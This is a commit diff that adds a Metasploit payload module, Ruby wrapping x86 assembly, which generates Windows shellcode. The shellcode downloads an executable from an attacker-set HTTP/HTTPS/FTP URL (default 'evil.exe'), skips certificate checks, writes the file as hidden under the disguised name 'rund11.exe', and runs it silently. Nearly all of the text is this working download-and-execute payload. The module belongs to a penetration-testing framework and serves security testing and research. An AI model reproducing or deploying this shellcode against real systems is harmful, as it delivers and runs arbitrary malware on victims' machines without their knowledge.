Adding corelandc0d3r's http/https/ftp payload
Picks up the one http/https/ftp payload, but not the other two DNS payloads listed as part of the original pull request. [Closes #173]unstable
Peter Van Eeckhoutte
Tod Beardsley
parent
bff860c62d
commit
a3035dc6d0
|
|
@ -0,0 +1,400 @@
|
||||||
|
##
|
||||||
|
# $Id$
|
||||||
|
##
|
||||||
|
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
|
||||||
|
module Metasploit3
|
||||||
|
|
||||||
|
include Msf::Payload::Windows
|
||||||
|
include Msf::Payload::Single
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(merge_info(info,
|
||||||
|
'Name' => 'Windows Executable Download (http,https,ftp) and Execute',
|
||||||
|
'Description' => 'Download an EXE from an HTTP(S)/FTP URL and execute it',
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'corelanc0d3r <peter.ve[at]corelan.be>'
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Version' => "$Revision$",
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Arch' => ARCH_X86
|
||||||
|
))
|
||||||
|
|
||||||
|
# Register command execution options
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('URL', [true, "The pre-encoded URL to the executable" ,"https://localhost:443/evil.exe"]),
|
||||||
|
OptString.new('EXE', [ true, "Filename to save & run executable on target system", "rund11.exe" ])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Construct the payload
|
||||||
|
#
|
||||||
|
def generate
|
||||||
|
|
||||||
|
target_uri = datastore['URL'] || ""
|
||||||
|
filename = datastore['EXE'] || ""
|
||||||
|
proto = "https"
|
||||||
|
dwflags_asm = "push (0x80000000 | 0x04000000 | 0x00800000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags\n"
|
||||||
|
#;0x80000000 | ; INTERNET_FLAG_RELOAD
|
||||||
|
#;0x04000000 | ; INTERNET_NO_CACHE_WRITE
|
||||||
|
#;0x00800000 | ; INTERNET_FLAG_SECURE
|
||||||
|
#;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
|
||||||
|
#;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID
|
||||||
|
#;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
|
||||||
|
#;0x00000200 ; INTERNET_FLAG_NO_UI"
|
||||||
|
|
||||||
|
exitfuncs = {
|
||||||
|
"PROCESS" => 0x56A2B5F0, #kernel32.dll!ExitProcess
|
||||||
|
"THREAD" => 0x0A2A1DE0, #kernel32.dll!ExitThread
|
||||||
|
"SEH" => 0x00000000, #we don't care
|
||||||
|
"NONE" => 0x00000000 #we don't care
|
||||||
|
}
|
||||||
|
|
||||||
|
protoflags = {
|
||||||
|
"http" => 0x3,
|
||||||
|
"https" => 0x3,
|
||||||
|
"ftp" => 0x1
|
||||||
|
}
|
||||||
|
|
||||||
|
exitfunc = datastore['EXITFUNC'].upcase
|
||||||
|
|
||||||
|
if exitfuncs[exitfunc]
|
||||||
|
exitasm = case exitfunc
|
||||||
|
when "SEH" then "xor eax,eax\ncall eax"
|
||||||
|
when "NONE" then "jmp end" # don't want to load user32.dll for GetLastError
|
||||||
|
else "push 0x0\npush 0x%x\ncall ebp" % exitfuncs[exitfunc]
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# parse URL and break it down in
|
||||||
|
# - remote host
|
||||||
|
# - port
|
||||||
|
# - /path/to/file
|
||||||
|
|
||||||
|
server_uri = ''
|
||||||
|
server_host = ''
|
||||||
|
port_nr = 443 # default
|
||||||
|
|
||||||
|
if target_uri.length > 0
|
||||||
|
|
||||||
|
# get desired protocol
|
||||||
|
if target_uri.start_with?'http://'
|
||||||
|
proto = "http"
|
||||||
|
port_nr = 80
|
||||||
|
dwflags_asm = "push (0x80000000 | 0x04000000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags\n"
|
||||||
|
end
|
||||||
|
if target_uri.start_with?'ftp://'
|
||||||
|
proto = "ftp"
|
||||||
|
port_nr = 21
|
||||||
|
dwflags_asm = "push (0x80000000 | 0x04000000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags\n"
|
||||||
|
end
|
||||||
|
|
||||||
|
# sanitize the input
|
||||||
|
target_uri = target_uri.gsub('http://','') #don't care about protocol
|
||||||
|
target_uri = target_uri.gsub('https://','') #don't care about protocol
|
||||||
|
target_uri = target_uri.gsub('ftp://','') #don't care about protocol
|
||||||
|
|
||||||
|
server_info = target_uri.split("/")
|
||||||
|
|
||||||
|
# did user specify a port ?
|
||||||
|
server_parts = server_info[0].split(":")
|
||||||
|
if server_parts.length > 1
|
||||||
|
port_nr = Integer(server_parts[1])
|
||||||
|
end
|
||||||
|
|
||||||
|
# actual target host
|
||||||
|
server_host = server_parts[0]
|
||||||
|
|
||||||
|
# get /path/to/remote/exe
|
||||||
|
|
||||||
|
|
||||||
|
for i in (1..server_info.length-1)
|
||||||
|
server_uri << "/"
|
||||||
|
server_uri << server_info[i]
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
# get protocol specific stuff
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
#create actual payload
|
||||||
|
payload_data = <<EOS
|
||||||
|
cld
|
||||||
|
call start
|
||||||
|
; Stephen Fewer's block_api
|
||||||
|
; block_api code (Stephen Fewer)
|
||||||
|
api_call:
|
||||||
|
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
|
||||||
|
mov ebp, esp ; Create a new stack frame
|
||||||
|
xor edx, edx ; Zero EDX
|
||||||
|
mov edx, fs:[edx+48] ; Get a pointer to the PEB
|
||||||
|
mov edx, [edx+12] ; Get PEB->Ldr
|
||||||
|
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
|
||||||
|
next_mod:
|
||||||
|
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
|
||||||
|
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
|
||||||
|
xor edi, edi ; Clear EDI which will store the hash of the module name
|
||||||
|
loop_modname: ;
|
||||||
|
xor eax, eax ; Clear EAX
|
||||||
|
lodsb ; Read in the next byte of the name
|
||||||
|
cmp al, 'a' ; Some versions of Windows use lower case module names
|
||||||
|
jl not_lowercase ;
|
||||||
|
sub al, 0x20 ; If so normalise to uppercase
|
||||||
|
not_lowercase: ;
|
||||||
|
ror edi, 13 ; Rotate right our hash value
|
||||||
|
add edi, eax ; Add the next byte of the name
|
||||||
|
loop loop_modname ; Loop untill we have read enough
|
||||||
|
; We now have the module hash computed
|
||||||
|
push edx ; Save the current position in the module list for later
|
||||||
|
push edi ; Save the current module hash for later
|
||||||
|
; Proceed to iterate the export address table,
|
||||||
|
mov edx, [edx+16] ; Get this modules base address
|
||||||
|
mov eax, [edx+60] ; Get PE header
|
||||||
|
add eax, edx ; Add the modules base address
|
||||||
|
mov eax, [eax+120] ; Get export tables RVA
|
||||||
|
test eax, eax ; Test if no export address table is present
|
||||||
|
jz get_next_mod1 ; If no EAT present, process the next module
|
||||||
|
add eax, edx ; Add the modules base address
|
||||||
|
push eax ; Save the current modules EAT
|
||||||
|
mov ecx, [eax+24] ; Get the number of function names
|
||||||
|
mov ebx, [eax+32] ; Get the rva of the function names
|
||||||
|
add ebx, edx ; Add the modules base address
|
||||||
|
; Computing the module hash + function hash
|
||||||
|
get_next_func: ;
|
||||||
|
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
|
||||||
|
dec ecx ; Decrement the function name counter
|
||||||
|
mov esi, [ebx+ecx*4] ; Get rva of next module name
|
||||||
|
add esi, edx ; Add the modules base address
|
||||||
|
xor edi, edi ; Clear EDI which will store the hash of the function name
|
||||||
|
; And compare it to the one we want
|
||||||
|
loop_funcname: ;
|
||||||
|
xor eax, eax ; Clear EAX
|
||||||
|
lodsb ; Read in the next byte of the ASCII function name
|
||||||
|
ror edi, 13 ; Rotate right our hash value
|
||||||
|
add edi, eax ; Add the next byte of the name
|
||||||
|
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
|
||||||
|
jne loop_funcname ; If we have not reached the null terminator, continue
|
||||||
|
add edi, [ebp-8] ; Add the current module hash to the function hash
|
||||||
|
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
|
||||||
|
jnz get_next_func ; Go compute the next function hash if we have not found it
|
||||||
|
; If found, fix up stack, call the function and then value else compute the next one...
|
||||||
|
pop eax ; Restore the current modules EAT
|
||||||
|
mov ebx, [eax+36] ; Get the ordinal table rva
|
||||||
|
add ebx, edx ; Add the modules base address
|
||||||
|
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
|
||||||
|
mov ebx, [eax+28] ; Get the function addresses table rva
|
||||||
|
add ebx, edx ; Add the modules base address
|
||||||
|
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
|
||||||
|
add eax, edx ; Add the modules base address to get the functions actual VA
|
||||||
|
; We now fix up the stack and perform the call to the desired function...
|
||||||
|
finish:
|
||||||
|
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
|
||||||
|
pop ebx ; Clear off the current modules hash
|
||||||
|
pop ebx ; Clear off the current position in the module list
|
||||||
|
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
|
||||||
|
pop ecx ; Pop off the origional return address our caller will have pushed
|
||||||
|
pop edx ; Pop off the hash value our caller will have pushed
|
||||||
|
push ecx ; Push back the correct return value
|
||||||
|
jmp eax ; Jump into the required function
|
||||||
|
; We now automagically return to the correct caller...
|
||||||
|
get_next_mod: ;
|
||||||
|
pop eax ; Pop off the current (now the previous) modules EAT
|
||||||
|
get_next_mod1: ;
|
||||||
|
pop edi ; Pop off the current (now the previous) modules hash
|
||||||
|
pop edx ; Restore our position in the module list
|
||||||
|
mov edx, [edx] ; Get the next module
|
||||||
|
jmp next_mod ; Process this module
|
||||||
|
|
||||||
|
; actual routine
|
||||||
|
start:
|
||||||
|
pop ebp ; get ptr to block_api routine
|
||||||
|
; based on HDM's block_reverse_https.asm
|
||||||
|
load_wininet:
|
||||||
|
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
|
||||||
|
push 0x696e6977 ; ...
|
||||||
|
mov esi, esp ; Save a pointer to wininet
|
||||||
|
push esp ; Push a pointer to the "wininet" string on the stack.
|
||||||
|
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||||
|
call ebp ; LoadLibraryA( "wininet" )
|
||||||
|
|
||||||
|
internetopen:
|
||||||
|
xor edi,edi
|
||||||
|
push edi ; DWORD dwFlags
|
||||||
|
push edi ; LPCTSTR lpszProxyBypass
|
||||||
|
push edi ; LPCTSTR lpszProxyName
|
||||||
|
push edi ; DWORD dwAccessType (PRECONFIG = 0)
|
||||||
|
push esi ; LPCTSTR lpszAgent ("wininet\x00")
|
||||||
|
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
||||||
|
call ebp
|
||||||
|
|
||||||
|
jmp dbl_get_server_host
|
||||||
|
|
||||||
|
internetconnect:
|
||||||
|
pop ebx ; Save the hostname pointer
|
||||||
|
xor ecx, ecx
|
||||||
|
push ecx ; DWORD_PTR dwContext (NULL)
|
||||||
|
push ecx ; dwFlags
|
||||||
|
push #{protoflags[proto]} ; DWORD dwService (INTERNET_SERVICE_HTTP or INTERNET_SERVICE_FTP)
|
||||||
|
push ecx ; password
|
||||||
|
push ecx ; username
|
||||||
|
push #{port_nr} ; PORT
|
||||||
|
push ebx ; HOSTNAME
|
||||||
|
push eax ; HINTERNET hInternet
|
||||||
|
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
|
||||||
|
call ebp
|
||||||
|
|
||||||
|
jmp get_server_uri
|
||||||
|
|
||||||
|
httpopenrequest:
|
||||||
|
pop ecx
|
||||||
|
xor edx, edx ; NULL
|
||||||
|
push edx ; dwContext (NULL)
|
||||||
|
#{dwflags_asm} ; dwFlags
|
||||||
|
push edx ; accept types
|
||||||
|
push edx ; referrer
|
||||||
|
push edx ; version
|
||||||
|
push ecx ; url
|
||||||
|
push edx ; method
|
||||||
|
push eax ; hConnection
|
||||||
|
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
|
||||||
|
call ebp
|
||||||
|
mov esi, eax ; hHttpRequest
|
||||||
|
|
||||||
|
set_retry:
|
||||||
|
push 0x10
|
||||||
|
pop ebx
|
||||||
|
|
||||||
|
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
|
||||||
|
set_security_options:
|
||||||
|
push 0x00003380
|
||||||
|
mov eax, esp
|
||||||
|
push 4 ; sizeof(dwFlags)
|
||||||
|
push eax ; &dwFlags
|
||||||
|
push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
|
||||||
|
push esi ; hRequest
|
||||||
|
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
||||||
|
call ebp
|
||||||
|
|
||||||
|
httpsendrequest:
|
||||||
|
xor edi, edi
|
||||||
|
push edi ; optional length
|
||||||
|
push edi ; optional
|
||||||
|
push edi ; dwHeadersLength
|
||||||
|
push edi ; headers
|
||||||
|
push esi ; hHttpRequest
|
||||||
|
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
|
||||||
|
call ebp
|
||||||
|
test eax,eax
|
||||||
|
jnz create_file
|
||||||
|
|
||||||
|
try_it_again:
|
||||||
|
dec ebx
|
||||||
|
jz thats_all_folks ; failure -> exit
|
||||||
|
jmp set_security_options
|
||||||
|
|
||||||
|
dbl_get_server_host:
|
||||||
|
jmp get_server_host
|
||||||
|
|
||||||
|
get_server_uri:
|
||||||
|
call httpopenrequest
|
||||||
|
|
||||||
|
server_uri:
|
||||||
|
db "/#{server_uri}", 0x00
|
||||||
|
|
||||||
|
create_file:
|
||||||
|
jmp get_filename
|
||||||
|
|
||||||
|
get_filename_return:
|
||||||
|
xor eax,eax ; zero eax
|
||||||
|
pop edi ; ptr to filename
|
||||||
|
push eax ; hTemplateFile
|
||||||
|
push 2 ; dwFlagsAndAttributes (Hidden)
|
||||||
|
push 2 ; dwCreationDisposition (CREATE_ALWAYS)
|
||||||
|
push eax ; lpSecurityAttributes
|
||||||
|
push 2 ; dwShareMode
|
||||||
|
push 2 ; dwDesiredAccess
|
||||||
|
push edi ; lpFileName
|
||||||
|
push 0x4FDAF6DA ; kernel32.dll!CreateFileA
|
||||||
|
call ebp
|
||||||
|
|
||||||
|
download_prep:
|
||||||
|
xchg eax, ebx ; place the file handle in ebx
|
||||||
|
xor eax,eax ; zero eax
|
||||||
|
mov ax,0x304 ; we'll download 0x300 bytes at a time
|
||||||
|
sub esp,eax ; reserve space on stack
|
||||||
|
|
||||||
|
download_more:
|
||||||
|
push esp ; &bytesRead
|
||||||
|
lea ecx,[esp+0x8] ; target buffer
|
||||||
|
xor eax,eax
|
||||||
|
mov ah,0x03 ; eax => 300
|
||||||
|
push eax ; read length
|
||||||
|
push ecx ; target buffer on stack
|
||||||
|
push esi ; hRequest
|
||||||
|
push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
|
||||||
|
call ebp
|
||||||
|
|
||||||
|
test eax,eax ; download failed? (optional?)
|
||||||
|
jz thats_all_folks ; failure -> exit
|
||||||
|
|
||||||
|
pop eax ; how many bytes did we retrieve ?
|
||||||
|
|
||||||
|
test eax,eax ; optional?
|
||||||
|
je close_and_run ; continue until it returns 0
|
||||||
|
|
||||||
|
write_to_file:
|
||||||
|
push 0 ; lpOverLapped
|
||||||
|
push esp ; lpNumberOfBytesWritten
|
||||||
|
push eax ; nNumberOfBytesToWrite
|
||||||
|
lea eax,[esp+0xc] ; get pointer to buffer
|
||||||
|
push eax ; lpBuffer
|
||||||
|
push ebx ; hFile
|
||||||
|
push 0x5BAE572D ; kernel32.dll!WriteFile
|
||||||
|
call ebp
|
||||||
|
sub esp,4 ; set stack back to where it was
|
||||||
|
jmp download_more
|
||||||
|
|
||||||
|
close_and_run:
|
||||||
|
push ebx
|
||||||
|
push 0x528796C6 ; kernel32.dll!CloseHandle
|
||||||
|
call ebp
|
||||||
|
|
||||||
|
execute_file:
|
||||||
|
push 0 ; don't show
|
||||||
|
push edi ; lpCmdLine
|
||||||
|
push 0x876F8B31 ; kernel32.dll!WinExec
|
||||||
|
call ebp
|
||||||
|
|
||||||
|
thats_all_folks:
|
||||||
|
#{exitasm}
|
||||||
|
|
||||||
|
get_filename:
|
||||||
|
call get_filename_return
|
||||||
|
db "#{filename}",0x00
|
||||||
|
|
||||||
|
get_server_host:
|
||||||
|
call internetconnect
|
||||||
|
|
||||||
|
server_host:
|
||||||
|
db "#{server_host}", 0x00
|
||||||
|
end:
|
||||||
|
EOS
|
||||||
|
the_payload = Metasm::Shellcode.assemble(Metasm::Ia32.new, payload_data).encode_string
|
||||||
|
end
|
||||||
|
end
|
||||||
Loading…
Reference in New Issue